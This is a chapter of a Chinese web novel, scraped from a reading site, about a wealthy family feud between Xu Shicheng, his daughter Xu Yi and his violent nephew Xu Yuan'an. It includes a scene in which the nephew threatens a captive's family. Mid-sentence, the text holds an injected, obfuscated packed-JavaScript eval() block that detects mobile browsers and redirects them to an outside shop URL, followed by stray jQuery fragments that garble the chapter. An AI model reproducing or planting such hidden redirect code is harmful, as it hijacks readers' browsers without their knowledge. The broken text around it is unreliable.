默认冷灰
24号文字
方正启体

4. 是他

作者:在下重来本书字数:K更新时间:
    还好妈妈没受伤。


    徐苡刚进家不久救护车就来了。车上母亲沈澜音抱着她哭,一边哭一边骂徐聿岸这个侄子大逆不道,畜生不如,自己的叔父也都下得去狠手。


    好在徐世诚是皮外伤,看着血流得多,实际没有受太重的伤。除了鼻梁骨折和因撞到桌角造成的轻微脑震荡,其余多是瘀青没有伤到骨头。


    徐苡哭得眼睛红肿,还不忘安慰妈妈,特别现在妈妈还有身孕,哭多了对身体不好。她真后悔刚才没趁机咬上徐聿岸两口,也好帮爸爸报仇!


    可爸爸太仁慈了,顾念亲情,说都是一家人,不让报警处理。


    “苡宝乖,不哭,爸爸已经不疼了。”徐世诚把旁边的保温杯给徐苡,让她过去陪着怀孕的沈澜音,“去哄哄你妈妈,怀孕哭容易伤眼睛。”


    徐苡点头擦干泪,听话地拿着水杯去安抚妈妈。


    沈澜音怀孕已经三个月,对于这个即将到来的妹妹或弟弟,徐苡也充满期待。在家里人知道沈澜音怀孕时,也有亲戚故意对徐苡说,你爸爸妈妈有了弟弟妹妹就不疼你了,以后的财产可都是给弟弟,就没人要你咯。


    徐苡一点也不信,还觉得好笑。她又不是三岁的小孩,都这么大了还有人开这种玩笑,她是爸爸妈妈的孩子,他们怎么会不爱她呢,又怎么可能不要她。


    每每这时,徐世诚都会揉着她头发,宠溺地说:“徐家的一切,以后都给苡宝。”


    在徐世诚公开说这些话后,旁人看徐苡的目光就变了些,羡慕中又夹杂了某种贪婪的眼色。


    关于财产,徐苡从来没有想过这些,也不在意这些,她只希望一家人可以幸幸福福、健康无忧地生活在一起。


    沈澜音不如徐世诚这样大度,她在徐家与世无争,没有得罪过谁,除了刚嫁给徐世诚时遭遇过一次绑架,但对方只是要赎金,对她也是以礼相待,有了徐苡后就再也没有过胆战心惊的日子。现在徐聿岸直接打到家里来,她自然有无尽怨言:“当初都说徐聿岸克父克母,专祸害徐家人,我还不信,现在看来算命的白龙王说得也没错,我看当年大哥大嫂就是被他克死……”


    徐世诚皱眉,及时打断沈澜音的话:“好啦,都是一家人,不要再说这些话。”


    徐苡是第一次听说这些,克父克母?谁会信这种话啊。但她更想安慰妈妈,很快就把这话抛之脑后。


    徐世诚住院的消息,还是很快就传到了老爷子徐霆耳朵里。


    但不是徐世诚主动告状,是沈澜音觉得委屈和后怕,瞒着徐世诚联系了徐霆。


    沈澜音在老爷子面前哭诉,“爸,万一他再来家里怎么办,他发起疯来连世诚都打,幸亏苡宝那时不在家,不然……会发生什么真是不敢想,苡宝是您看大的,她有多乖您也知道,我是真怕苡宝也跟着受伤害。”


    老爷子蛮喜欢这个孙女,徐苡又是目前徐世诚唯一的孩子,他望着病床上缠着纱布的儿子,沉声安排道:“你放心,有我在那混小子必不敢再做这样的混账事,你和苡宝都先搬到徐宅来住,在我眼皮子底下我看他还敢不敢犯浑!”


    最后只让徐苡跟着老爷子回徐宅住,沈澜音坚持要留在医院陪伴丈夫。


    临行前,徐霆站在门口,忽然回头望向徐世诚,语气听不出情绪:“聿岸遭人追杀这件事,你不知情吧。”


    沈澜音擦了擦泪,不明白老爷子话从何来,她下意识望向丈夫。


    徐世诚一怔,随即面露惊讶:“爸,聿岸是怀疑我做的?我根本不知道有这回事。”


    他沉默片刻,又低声补充:“不管怎么说,聿岸都是大哥大嫂留下的唯一的孩子,我怎么可能做那种丧尽天良的事……”


    “行了,你先好好养伤。”徐霆抬手打断他的话,“过两天度假城新店开业,你还得露面。”说罢便在管家搀扶下转身离去。


    徐家的娱乐度假城不仅仅是单纯的度假酒店。而是以娱乐业为核心,集旅游、购物、休闲于一体的庞大产业帝国。世界上十家最大的娱乐度假酒店就有五家属于徐氏。每年来莲市的近六千万游客,大多都是冲着徐家的购物与娱乐项目而来。


    徐霆让徐世诚在此时公开亮相,无疑是在向所有人传递一个明确的信号——徐世诚,就是徐家下一任继承人。


    沈澜音起身欲送,被徐霆摆手制止:“你身子不便,好好歇着吧。”


    她重回病房,见徐世诚不知在想什么发愣,走到身边他都没发觉。


    “想什么呢?”沈澜音轻轻握住他的手。她与徐世诚从高中相恋至今,当年早恋遭她父母强烈反对,没少为难徐世诚,但他从未退缩,甚至半夜翻墙只为给她送一口爱吃的宵夜,两人悄悄相伴直到大学,终得父母认可。在这算计横流的豪门中,他们这样从年少夫妻一路走来的感情,显得尤为珍贵。


    徐世诚回握妻子的手,让她放心:“没什么,就是头还有点晕。”


    “大哥大嫂当年的车祸,真的是因为醉驾吗?”沈澜音想起刚才老爷子的问话,忍不住多问了一句。


    “怎么想起问这些?”徐世诚不愿多讲,只轻拍她的手背,“别多想了,今天早休息会,明早还要做产检。”


    夫妻俩这个孩子是好不容易才要上的,之前两个都没保住,所以对这个孩子格外上心。


    沈澜音抚摸着肚子,想到徐苡这几日都在老爷子眼皮底下,安心不少。不管怎么说,徐聿岸肯定是不敢在老爷子面前动手。


    何况高中之前徐苡都是在徐宅住着,在爷爷家也住得习惯。徐苡读高中夫妻俩才将女儿接到家里,方便督促她学习,不然那老爷子太惯这个孙女。


    郊区仓库里,闷声的哀嚎被隐藏在风声里。


    徐聿岸慵懒倚在沙发靠背上,仰头吐了口烟,“烂三叔,就这么死心塌地跟着我那二叔?只要你老老实实告诉我,我父母的车祸是不是徐世诚动的手脚,只要你说实话,我保你下半辈子过得舒舒坦坦。”


    烂三吐出口血水,闭口无言。


    徐聿岸不屑地笑了,他可不信这烂三还是条忠心的狗。烂三不肯背叛徐世诚,只能说明一点,还没找到烂三真正的致命点。


    男人慢慢抽了口烟,俊美眉目隐在烟雾蒙蒙里,开口对身后的薛城安排:“这几天好吃好喝的伺候好烂三叔。对了,你再去找找烂三叔有没有正在上学的孩子,或者有个如花似玉的老婆,哪怕有个腿脚不利索的老娘也行,请过来陪着他。一家人团团圆圆的住在这,也算咱们做了件好事。”


    这话一出,烂三的眼神瞬间乱了。这样的好事谁愿意要?他强作镇定,依旧一言不发,绝不能在徐聿岸面前自乱阵脚。


    可他所有的细微反应,早已被徐聿岸尽收眼底。


    抓蛇七寸,这七寸是找到了,徐聿岸就懒得在这浪费时间,到时把烂三的老婆孩子老娘的带过来,都不用他动手,烂三就得自己开口求着说。


    被绑在椅子上的烂三心存侥幸,徐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035503|194625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    聿岸不可能这么轻松就找他老婆孩子,她们身边都有徐世诚的人看着,美名其曰是保护,实则监视。


    不管是哪种,烂三现在都庆幸家人身边有人跟着,徐聿岸应该没有机会下手。


    更何况,徐聿岸问的那个问题,他根本没法回答。不说,或许还有一线生机;说了,他只会死得更快——到那时,第一个要他命的恐怕不是徐聿岸,而是徐老爷子徐霆。


    这时薛城把手机给徐聿岸:“岸哥,老爷子的电话。”


    徐聿岸刚接过电话就皱了眉。


    车上徐聿岸烦躁地扯开领口纽扣。不知道老爷子又发什么疯,这几天竟然让他回徐宅住。


    驾驶座的薛城在后视镜看了眼,岸哥神色很不耐烦,他提醒道:“岸哥,还是不要和老爷子关系弄得太僵,不然对我们也没什么好处。”


    徐聿岸当然清楚,只是不知道徐霆这又是想的哪一出,他可不信徐霆是想要修补什么爷孙关系。


    又要去当乖孙子,徐聿岸心烦意乱,在旁边随手摸了瓶水喝,喝到嘴里又是甜腻腻。


    车里弥漫一股淡淡的青柠甜香。


    薛城瞥见后座那几瓶宝矿力,岸哥什么时候喜欢喝这些了,他不最讨厌这些甜水水了吗。


    果然,下一秒徐聿岸睁眼,冷冷瞥了眼手里的水瓶,让薛城把矿泉水给他。


    下了车,薛城顺手要将车上那几瓶宝矿力清理掉。


    等徐聿岸进了别墅,徐野才反应过来刚才岸哥说的是——“先在车上放着。”


    而不是“扔掉”。


    薛城动作一顿,有些意外地将饮料放回原处。这不像岸哥的作风,他向来不喜身边留着任何不合心意也无用处的东西。


    别墅里,薛城拿来冰块和酒:“岸哥,明天十五,徐世诚的度假酒店开业,我们还去吗?”


    徐聿岸晃了晃杯中的琥珀色液体,下面冰块轻轻摇晃,上面的冰块便掉落下来。这家酒店,几乎完全沿袭了他父亲徐世钧当年的规划与理念。只可惜,生意刚有起色,父亲便因车祸离世,最终让徐世诚坐收了渔利。


    “去啊,怎么不去。”徐聿岸唇角勾起邪气的笑,将酒杯往桌上重重一放,“徐世诚缠着纱布还要硬撑着开业,当然得去给捧个场。记得给我那好二叔送两个花篮,要足够醒目。毕竟我这个做侄子的,得彰显出对长辈的尊敬来。”


    “尊敬”二字,薛城沉默不做评价。因为没有人会在开业庆典这样的日子,送上两排扎眼的白菊花篮。


    徐世诚看到脸都绿了,呵斥人快点收走。


    徐苡看到白菊也是小脸直皱,也不知道是谁这么坏,在开业送这些过来,明显是来捣乱。


    今日徐家酒店开业,权贵名流云集,满堂衣香鬓影。众人面上堆着客套的笑容,举杯向徐世诚道贺的言辞里满是刻意的奉承。


    “已经开始了啊。我这个当侄子得过来给二叔捧个场,迟到了一点,二叔不会怪罪我吧?”宴席正酣时,男人略带轻佻又压迫的声音穿透人群,宾客们不自觉地从中分开一条通路。


    众人纷纷回头。


    身穿黑色休闲服的高挑男人双手插兜,带着股漫不经心的痞气,目中无人地款款而来。


    他身后跟了位穿西装的保镖。却反而是这穿休闲装的男人气场更大,气压慑人。


    是他!


    不起眼角落里,正在偷偷喝汽水的徐苡一眼就认出来人——是把爸爸打伤的徐聿岸!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)